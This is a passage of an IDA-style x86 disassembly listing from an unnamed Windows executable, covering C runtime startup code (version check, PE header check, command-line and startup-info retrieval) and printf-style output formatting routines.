arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	0Ch
		push	offset stru_428DE0
		call	__SEH_prolog
		push	[ebp+arg_0]
		call	sub_417FF8
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4161C8
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_416296
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_416257	endp


; =============== S U B	R O U T	I N E =======================================



sub_416296	proc near		; CODE XREF: sub_416257+31p
					; DATA XREF: .rdata:stru_428DE0o
		push	dword ptr [ebp+8]
		call	sub_41804A
		pop	ecx
		retn
sub_416296	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162A0	proc near		; CODE XREF: .text:004163E8p
					; .text:0041640Ep ...

arg_0		= dword	ptr  4

		cmp	dword_47C1F0, 1
		jnz	short loc_4162AE
		call	sub_41B740


loc_4162AE:				; CODE XREF: sub_4162A0+7j
		push	[esp+arg_0]
		call	sub_41B5C9
		push	0FFh
		call	off_42D7C0
		pop	ecx
		pop	ecx
		retn
sub_4162A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162C5	proc near		; CODE XREF: .text:004163BEp
					; .text:004163CFp

arg_0		= dword	ptr  4

		cmp	dword_47C1F0, 1
		jnz	short loc_4162D3
		call	sub_41B740


loc_4162D3:				; CODE XREF: sub_4162C5+7j
		push	[esp+arg_0]
		call	sub_41B5C9
		push	0FFh
		call	sub_415F19
		pop	ecx
		pop	ecx
		retn
sub_4162C5	endp

; ---------------------------------------------------------------------------
		push	60h
		push	offset stru_428DF0
		call	__SEH_prolog
		mov	edi, 94h
		mov	eax, edi
		call	sub_414800
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[esi], edi
		push	esi
		call	ds:dword_420120	; GetVersionExA
		mov	ecx, [esi+10h]
		mov	dword_47C1A4, ecx
		mov	eax, [esi+4]
		mov	dword_47C1B0, eax
		mov	edx, [esi+8]
		mov	dword_47C1B4, edx
		mov	esi, [esi+0Ch]
		and	esi, 7FFFh
		mov	dword_47C1A8, esi
		cmp	ecx, 2
		jz	short loc_416349
		or	esi, 8000h
		mov	dword_47C1A8, esi


loc_416349:				; CODE XREF: .text:0041633Bj
		shl	eax, 8
		add	eax, edx
		mov	dword_47C1AC, eax
		xor	esi, esi
		push	esi
		mov	edi, ds:dword_4200A4
		call	edi	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_416384
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		cmp	dword ptr [ecx], 4550h
		jnz	short loc_416384
		movzx	eax, word ptr [ecx+18h]
		cmp	eax, 10Bh
		jz	short loc_41639C
		cmp	eax, 20Bh
		jz	short loc_416389


loc_416384:				; CODE XREF: .text:00416363j
					; .text:00416370j ...
		mov	[ebp-1Ch], esi
		jmp	short loc_4163B0
; ---------------------------------------------------------------------------


loc_416389:				; CODE XREF: .text:00416382j
		cmp	dword ptr [ecx+84h], 0Eh
		jbe	short loc_416384
		xor	eax, eax
		cmp	[ecx+0F8h], esi
		jmp	short loc_4163AA
; ---------------------------------------------------------------------------


loc_41639C:				; CODE XREF: .text:0041637Bj
		cmp	dword ptr [ecx+74h], 0Eh
		jbe	short loc_416384
		xor	eax, eax
		cmp	[ecx+0E8h], esi


loc_4163AA:				; CODE XREF: .text:0041639Aj
		setnz	al
		mov	[ebp-1Ch], eax


loc_4163B0:				; CODE XREF: .text:00416387j
		push	1
		call	sub_418102
		pop	ecx
		test	eax, eax
		jnz	short loc_4163C4
		push	1Ch
		call	sub_4162C5
		pop	ecx


loc_4163C4:				; CODE XREF: .text:004163BAj
		call	sub_416E86
		test	eax, eax
		jnz	short loc_4163D5
		push	10h
		call	sub_4162C5
		pop	ecx


loc_4163D5:				; CODE XREF: .text:004163CBj
		call	sub_41B2C0
		mov	[ebp-4], esi
		call	sub_41BD3D
		test	eax, eax
		jge	short loc_4163EE
		push	1Bh
		call	sub_4162A0
		pop	ecx


loc_4163EE:				; CODE XREF: .text:004163E4j
		call	ds:dword_420168	; GetCommandLineA
		mov	dword_47D9A4, eax
		call	sub_41BC1B
		mov	dword_47C1E8, eax
		call	sub_41BB79
		test	eax, eax
		jge	short loc_416414
		push	8
		call	sub_4162A0
		pop	ecx


loc_416414:				; CODE XREF: .text:0041640Aj
		call	sub_41B946
		test	eax, eax
		jge	short loc_416425
		push	9
		call	sub_4162A0
		pop	ecx


loc_416425:				; CODE XREF: .text:0041641Bj
		call	sub_415F5B
		mov	[ebp-20h], eax
		cmp	eax, esi
		jz	short loc_416438
		push	eax
		call	sub_4162A0
		pop	ecx


loc_416438:				; CODE XREF: .text:0041642Fj
		mov	[ebp-38h], esi
		lea	eax, [ebp-64h]
		push	eax
		call	ds:dword_420164	; GetStartupInfoA
		call	sub_41B8DD
		mov	[ebp-68h], eax
		test	byte ptr [ebp-38h], 1
		jz	short loc_416459
		movzx	eax, word ptr [ebp-34h]
		jmp	short loc_41645C
; ---------------------------------------------------------------------------


loc_416459:				; CODE XREF: .text:00416451j
		push	0Ah
		pop	eax


loc_41645C:				; CODE XREF: .text:00416457j
		push	eax
		push	dword ptr [ebp-68h]
		push	esi
		push	esi
		call	edi	; GetModuleHandleA
		push	eax
		call	sub_40E745
		mov	edi, eax
		mov	[ebp-6Ch], edi
		cmp	[ebp-1Ch], esi
		jnz	short loc_41647A
		push	edi
		call	sub_416093


loc_41647A:				; CODE XREF: .text:00416472j
		call	sub_4160B5
		jmp	short loc_4164AC
; ---------------------------------------------------------------------------


loc_416481:				; DATA XREF: .rdata:stru_428DF0o
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-70h], ecx
		push	eax
		push	ecx
		call	sub_41B779
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_416495:				; DATA XREF: .rdata:stru_428DF0o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-70h]
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_4164A7
		push	edi
		call	sub_4160A4


loc_4164A7:				; CODE XREF: .text:0041649Fj
		call	sub_4160C4


loc_4164AC:				; CODE XREF: .text:0041647Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, edi
		lea	esp, [ebp-7Ch]
		call	__SEH_epilog
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4164BB	proc near		; CODE XREF: sub_4145E5+4Bp
					; sub_41483D+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 82h
		mov	ebx, [esi+10h]
		jz	loc_4165C7
		test	al, 40h
		jnz	loc_4165C7
		test	al, 1
		jz	short loc_4164F4
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_4165C7
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_4164F4:				; CODE XREF: sub_4164BB+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_416530
		cmp	esi, offset dword_42D998
		jz	short loc_41651E
		cmp	esi, offset dword_42D9B8
		jnz	short loc_416529


loc_41651E:				; CODE XREF: sub_4164BB+59j
		push	ebx
		call	sub_41C1CF
		test	eax, eax
		pop	ecx
		jnz	short loc_416530


loc_416529:				; CODE XREF: sub_4164BB+61j
		push	esi
		call	sub_41C18B
		pop	ecx


loc_416530:				; CODE XREF: sub_4164BB+51j
					; sub_4164BB+6Cj
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41659D
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41655D
		push	edi
		push	eax
		push	ebx
		call	sub_41C0E0
		mov	[ebp+arg_4], eax
		jmp	short loc_416590
; ---------------------------------------------------------------------------


loc_41655D:				; CODE XREF: sub_4164BB+93j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41657B
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_47C620[ecx*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		jmp	short loc_416580
; ---------------------------------------------------------------------------


loc_41657B:				; CODE XREF: sub_4164BB+A5j
		mov	eax, offset dword_42E0D0


loc_416580:				; CODE XREF: sub_4164BB+BEj
		test	byte ptr [eax+4], 20h
		jz	short loc_416593
		push	2
		push	0
		push	ebx
		call	sub_41B3BC


loc_416590:				; CODE XREF: sub_4164BB+A0j
		add	esp, 0Ch


loc_416593:				; CODE XREF: sub_4164BB+C9j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_4165B1
; ---------------------------------------------------------------------------


loc_41659D:				; CODE XREF: sub_4164BB+7Cj
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		call	sub_41C0E0
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_4165B1:				; CODE XREF: sub_4164BB+E0j
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_4165BD
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_4165CD
; ---------------------------------------------------------------------------


loc_4165BD:				; CODE XREF: sub_4164BB+FAj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_4165D0
; ---------------------------------------------------------------------------


loc_4165C7:				; CODE XREF: sub_4164BB+10j
					; sub_4164BB+18j ...
		or	eax, 20h
		mov	[esi+0Ch], eax


loc_4165CD:				; CODE XREF: sub_4164BB+100j
		or	eax, 0FFFFFFFFh


loc_4165D0:				; CODE XREF: sub_4164BB+10Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4164BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165D4	proc near		; CODE XREF: sub_416607+11p
					; sub_41662B+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_4165E0
		cmp	dword ptr [ecx+8], 0
		jz	short loc_416604


loc_4165E0:				; CODE XREF: sub_4165D4+4j
		dec	dword ptr [ecx+4]
		js	short loc_4165F0
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4165FC
; ---------------------------------------------------------------------------


loc_4165F0:				; CODE XREF: sub_4165D4+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_4164BB
		pop	ecx
		pop	ecx


loc_4165FC:				; CODE XREF: sub_4165D4+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416604
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------


loc_416604:				; CODE XREF: sub_4165D4+Aj
					; sub_4165D4+2Bj
		inc	dword ptr [esi]
		retn
sub_4165D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416607	proc near		; CODE XREF: sub_416662+6A2p
					; sub_416662+6CDp ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_416622
; ---------------------------------------------------------------------------


loc_41660F:				; CODE XREF: sub_416607+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_4165D4
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_416628


loc_416622:				; CODE XREF: sub_416607+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_41660F


loc_416628:				; CODE XREF: sub_416607+19j
		pop	esi
		pop	ebp
		retn
sub_416607	endp


; =============== S U B	R O U T	I N E =======================================



sub_41662B	proc near		; CODE XREF: sub_416662+6B6p
					; sub_416662+70Ep ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_416658
		cmp	dword ptr [edi+8], 0
		jnz	short loc_416658
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_41665F
; ---------------------------------------------------------------------------


loc_416645:				; CODE XREF: sub_41662B+32j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_4165D4
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41665F


loc_416658:				; CODE XREF: sub_41662B+Aj
					; sub_41662B+10j
		cmp	[esp+8+arg_0], 0
		jg	short loc_416645


loc_41665F:				; CODE XREF: sub_41662B+18j
					; sub_41662B+2Bj
		pop	esi
		pop	ebx
		retn
sub_41662B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416662	proc near		; CODE XREF: sub_4145E5+2Ap
					; sub_41483D+29p ...

var_254		= byte ptr -254h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+arg_4]
		mov	bl, [eax]
		xor	ecx, ecx
		test	bl, bl
		jz	loc_416DC6
		push	esi
		push	edi
		mov	edi, eax
		jmp	short loc_41669A
; ---------------------------------------------------------------------------


loc_416697:				; CODE XREF: sub_416662+75Cj
		mov	ecx, [ebp+var_38]


loc_41669A:				; CODE XREF: sub_416662+33j
		inc	edi
		cmp	[ebp+var_18], 0
		mov	[ebp+arg_4], edi
		jl	loc_416DC4
		cmp	bl, 20h
		jl	short loc_4166C1
		cmp	bl, 78h
		jg	short loc_4166C1
		movsx	eax, bl
		movsx	eax, byte ptr ds:stru_428DE0._unk[eax]
		and	eax, 0Fh
		jmp	short loc_4166C3
; ---------------------------------------------------------------------------


loc_4166C1:				; CODE XREF: sub_416662+49j
					; sub_416662+4Ej
		xor	eax, eax


loc_4166C3:				; CODE XREF: sub_416662+5Dj
		movsx	eax, ds:byte_428E00[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+var_38], eax
		ja	loc_416DB7	; default
		jmp	ds:off_416DD7[eax*4] ; switch jump


loc_4166E3:				; DATA XREF: .text:off_416DD7o
		xor	eax, eax	; jumptable 004166DC case 1
		or	[ebp+var_C], 0FFFFFFFFh
		mov	[ebp+var_3C], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], eax
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_416700:				; CODE XREF: sub_416662+7Aj
					; DATA XREF: .text:off_416DD7o
		movsx	eax, bl		; jumptable 004166DC case 2
		sub	eax, 20h
		jz	short loc_416743
		sub	eax, 3
		jz	short loc_41673A
		sub	eax, 8
		jz	short loc_416731
		dec	eax
		dec	eax
		jz	short loc_416728
		sub	eax, 3
		jnz	loc_416DB7	; default
		or	[ebp+var_8], 8
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_416728:				; CODE XREF: sub_416662+B2j
		or	[ebp+var_8], 4
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_416731:				; CODE XREF: sub_416662+AEj
		or	[ebp+var_8], 1
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_41673A:				; CODE XREF: sub_416662+A9j
		or	byte ptr [ebp+var_8], 80h
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_416743:				; CODE XREF: sub_416662+A4j
		or	[ebp+var_8], 2
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_41674C:				; CODE XREF: sub_416662+7Aj
					; DATA XREF: .text:off_416DD7o
		cmp	bl, 2Ah		; jumptable 004166DC case 3
		jnz	short loc_416772
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_24], eax
		jge	loc_416DB7	; default
		or	[ebp+var_8], 4
		neg	[ebp+var_24]
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_416772:				; CODE XREF: sub_416662+EDj
		mov	eax, [ebp+var_24]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_24], eax
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_416787:				; CODE XREF: sub_416662+7Aj
					; DATA XREF: .text:off_416DD7o
		and	[ebp+var_C], 0	; jumptable 004166DC case 4
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_416790:				; CODE XREF: sub_416662+7Aj
					; DATA XREF: .text:off_416DD7o
		cmp	bl, 2Ah		; jumptable 004166DC case 5
		jnz	short loc_4167B3
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_C], eax
		jge	loc_416DB7	; default
		or	[ebp+var_C], 0FFFFFFFFh
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_4167B3:				; CODE XREF: sub_416662+131j
		mov	eax, [ebp+var_C]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_4167C8:				; CODE XREF: sub_416662+7Aj
					; DATA XREF: .text:off_416DD7o
		cmp	bl, 49h		; jumptable 004166DC case 6
		jz	short loc_4167FB
		cmp	bl, 68h
		jz	short loc_4167F2
		cmp	bl, 6Ch
		jz	short loc_4167E9
		cmp	bl, 77h
		jnz	loc_416DB7	; default
		or	byte ptr [ebp+var_8+1],	8
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_4167E9:				; CODE XREF: sub_416662+173j
		or	[ebp+var_8], 10h
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_4167F2:				; CODE XREF: sub_416662+16Ej
		or	[ebp+var_8], 20h
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_4167FB:				; CODE XREF: sub_416662+169j
		mov	al, [edi]
		cmp	al, 36h
		jnz	short loc_416815
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_416815
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_8+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_416815:				; CODE XREF: sub_416662+19Dj
					; sub_416662+1A3j
		cmp	al, 33h
		jnz	short loc_41682D
		cmp	byte ptr [edi+1], 32h
		jnz	short loc_41682D
		inc	edi
		inc	edi
		and	byte ptr [ebp+var_8+1],	7Fh
		mov	[ebp+arg_4], edi
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_41682D:				; CODE XREF: sub_416662+1B5j
					; sub_416662+1BBj
		cmp	al, 64h
		jz	loc_416DB7	; default
		cmp	al, 69h
		jz	loc_416DB7	; default
		cmp	al, 6Fh
		jz	loc_416DB7	; default
		cmp	al, 75h
		jz	loc_416DB7	; default
		cmp	al, 78h
		jz	loc_416DB7	; default
		cmp	al, 58h
		jz	loc_416DB7	; default
		and	[ebp+var_38], 0


loc_416861:				; CODE XREF: sub_416662+7Aj
					; DATA XREF: .text:off_416DD7o
		mov	ecx, off_42DEA0	; jumptable 004166DC case 0
		and	[ebp+var_28], 0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_416888
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_4165D4
		mov	bl, [edi]
		inc	edi
		mov	[ebp+arg_4], edi


loc_416888:				; CODE XREF: sub_416662+211j
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_4165D4
		jmp	loc_416DB7	; default
; ---------------------------------------------------------------------------


loc_41689A:				; CODE XREF: sub_416662+7Aj
					; DATA XREF: .text:off_416DD7o
		movsx	eax, bl		; jumptable 004166DC case 7
		cmp	eax, 67h
		jg	loc_416AEC
		cmp	eax, 65h
		jge	loc_41692F
		cmp	eax, 58h
		jg	loc_416990
		jz	loc_416B6D
		sub	eax, 43h
		jz	loc_416952
		dec	eax
		dec	eax
		jz	short loc_416925
		dec	eax
		dec	eax
		jz	short loc_416925
		sub	eax, 0Ch
		jnz	loc_416CB5
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_4168E4
		or	byte ptr [ebp+var_8+1],	8


loc_4168E4:				; CODE XREF: sub_416662+27Cj
					; sub_416662+4A9j
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_4168F1
		mov	ecx, 7FFFFFFFh


loc_4168F1:				; CODE XREF: sub_416662+288j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		mov	[ebp+var_10], eax
		jz	loc_416B42
		test	eax, eax
		jnz	short loc_416916
		mov	eax, off_42D7CC
		mov	[ebp+var_10], eax


loc_416916:				; CODE XREF: sub_416662+2AAj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], 1
		jmp	loc_416B34
; ---------------------------------------------------------------------------


loc_416925:				; CODE XREF: sub_416662+267j
					; sub_416662+26Bj
		mov	[ebp+var_3C], 1
		add	bl, 20h


loc_41692F:				; CODE XREF: sub_416662+247j
		or	[ebp+var_8], 40h
		cmp	[ebp+var_C], 0
		lea	esi, [ebp+var_254]
		mov	[ebp+var_10], esi
		jge	loc_416A36
		mov	[ebp+var_C], 6
		jmp	loc_416A7D
; ---------------------------------------------------------------------------


loc_416952:				; CODE XREF: sub_416662+25Fj
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_41695E
		or	byte ptr [ebp+var_8+1],	8


loc_41695E:				; CODE XREF: sub_416662+2F6j
					; sub_416662+336j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		jz	short loc_4169CF
		movsx	eax, word ptr [eax-4]
		push	eax
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41C259
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		jge	short loc_4169DF
		mov	[ebp+var_34], 1
		jmp	short loc_4169DF
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: sub_416662+250j
		sub	eax, 5Ah
		jz	short loc_4169ED
		sub	eax, 9
		jz	short loc_41695E
		dec	eax
		jnz	loc_416CB5


loc_4169A1:				; CODE XREF: sub_416662+48Dj
		or	[ebp+var_8], 40h


loc_4169A5:				; CODE XREF: sub_416662+4B1j
		mov	[ebp+var_14], 0Ah


loc_4169AC:				; CODE XREF: sub_416662+519j
					; sub_416662+532j ...
		mov	ebx, [ebp+var_8]
		mov	esi, 8000h
		test	ebx, esi
		jz	loc_416BDD
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	ecx, 8
		mov	[ebp+arg_8], ecx
		jmp	loc_416C05
; ---------------------------------------------------------------------------


loc_4169CF:				; CODE XREF: sub_416662+309j
		mov	al, [eax-4]
		mov	[ebp+var_254], al
		mov	[ebp+var_14], 1


loc_4169DF:				; CODE XREF: sub_416662+323j
					; sub_416662+32Cj
		lea	eax, [ebp+var_254]
		mov	[ebp+var_10], eax
		jmp	loc_416CB5
; ---------------------------------------------------------------------------


loc_4169ED:				; CODE XREF: sub_416662+331j
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		jz	short loc_416A28
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_416A28
		test	byte ptr [ebp+var_8+1],	8
		movsx	eax, word ptr [eax]
		mov	[ebp+var_10], ecx
		jz	short loc_416A1F
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_28], 1
		jmp	loc_416CB2
; ---------------------------------------------------------------------------


loc_416A1F:				; CODE XREF: sub_416662+3AAj
		and	[ebp+var_28], 0
		jmp	loc_416CB2
; ---------------------------------------------------------------------------


loc_416A28:				; CODE XREF: sub_416662+397j
					; sub_416662+39Ej
		mov	eax, off_42D7C8
		mov	[ebp+var_10], eax
		push	eax
		jmp	loc_416AE1
; ---------------------------------------------------------------------------


loc_416A36:				; CODE XREF: sub_416662+2DEj
		jnz	short loc_416A46
		cmp	bl, 67h
		jnz	short loc_416A7D
		mov	[ebp+var_C], 1
		jmp	short loc_416A7D
; ---------------------------------------------------------------------------


loc_416A46:				; CODE XREF: sub_416662:loc_416A36j
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_416A53
		mov	[ebp+var_C], eax


loc_416A53:				; CODE XREF: sub_416662+3ECj
		mov	edi, 0A3h
		cmp	[ebp+var_C], edi
		jle	short loc_416A7D
		mov	eax, [ebp+var_C]
		add	eax, 15Dh
		push	eax
		call	sub_414E7D
		test	eax, eax
		pop	ecx
		mov	[ebp+var_2C], eax
		jz	short loc_416A7A
		mov	[ebp+var_10], eax
		mov	esi, eax
		jmp	short loc_416A7D
; ---------------------------------------------------------------------------


loc_416A7A:				; CODE XREF: sub_416662+40Fj
		mov	[ebp+var_C], edi


loc_416A7D:				; CODE XREF: sub_416662+2EBj
					; sub_416662+3D9j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+var_3C]
		add	eax, 8
		push	[ebp+var_C]
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_48], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		mov	[ebp+var_4C], ecx
		call	off_42DE88
		mov	edi, [ebp+var_8]
		add	esp, 14h
		and	edi, 80h
		jz	short loc_416AC2
		cmp	[ebp+var_C], 0
		jnz	short loc_416AC2
		push	esi
		call	off_42DE94
		pop	ecx


loc_416AC2:				; CODE XREF: sub_416662+450j
					; sub_416662+456j
		cmp	bl, 67h
		jnz	short loc_416AD3
		test	edi, edi
		jnz	short loc_416AD3
		push	esi
		call	off_42DE8C
		pop	ecx


loc_416AD3:				; CODE XREF: sub_416662+463j
					; sub_416662+467j
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_416AE0
		or	byte ptr [ebp+var_8+1],	1
		inc	esi
		mov	[ebp+var_10], esi


loc_416AE0:				; CODE XREF: sub_416662+474j
		push	esi


loc_416AE1:				; CODE XREF: sub_416662+3CFj
		call	sub_4179C0
		pop	ecx
		jmp	loc_416CB2
; ---------------------------------------------------------------------------


loc_416AEC:				; CODE XREF: sub_416662+23Ej
		sub	eax, 69h
		jz	loc_4169A1
		sub	eax, 5
		jz	loc_416BB3
		dec	eax
		jz	loc_416B99
		dec	eax
		jz	short loc_416B66
		sub	eax, 3
		jz	loc_4168E4
		dec	eax
		dec	eax
		jz	loc_4169A5
		sub	eax, 3
		jnz	loc_416CB5
		mov	[ebp+var_30], 27h
		jmp	short loc_416B70
; ---------------------------------------------------------------------------


loc_416B2B:				; CODE XREF: sub_416662+4D4j
		dec	ecx
		cmp	word ptr [eax],	0
		jz	short loc_416B38
		inc	eax
		inc	eax


loc_416B34:				; CODE XREF: sub_416662+2BEj
		test	ecx, ecx
		jnz	short loc_416B2B


loc_416B38:				; CODE XREF: sub_416662+4CEj
		sub	eax, [ebp+var_10]
		sar	eax, 1
		jmp	loc_416CB2
; ---------------------------------------------------------------------------


loc_416B42:				; CODE XREF: sub_416662+2A2j
		test	eax, eax
		jnz	short loc_416B4E
		mov	eax, off_42D7C8
		mov	[ebp+var_10], eax


loc_416B4E:				; CODE XREF: sub_416662+4E2j
		mov	eax, [ebp+var_10]
		jmp	short loc_416B5A
; ---------------------------------------------------------------------------


loc_416B53:				; CODE XREF: sub_416662+4FAj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_416B5E
		inc	eax


loc_416B5A:				; CODE XREF: sub_416662+4EFj
		test	ecx, ecx
		jnz	short loc_416B53


loc_416B5E:				; CODE XREF: sub_416662+4F5j
		sub	eax, [ebp+var_10]
		jmp	loc_416CB2
; ---------------------------------------------------------------------------


loc_416B66:				; CODE XREF: sub_416662+4A4j
		mov	[ebp+var_C], 8


loc_416B6D:				; CODE XREF: sub_416662+256j
		mov	[ebp+var_30], ecx


loc_416B70:				; CODE XREF: sub_416662+4C7j
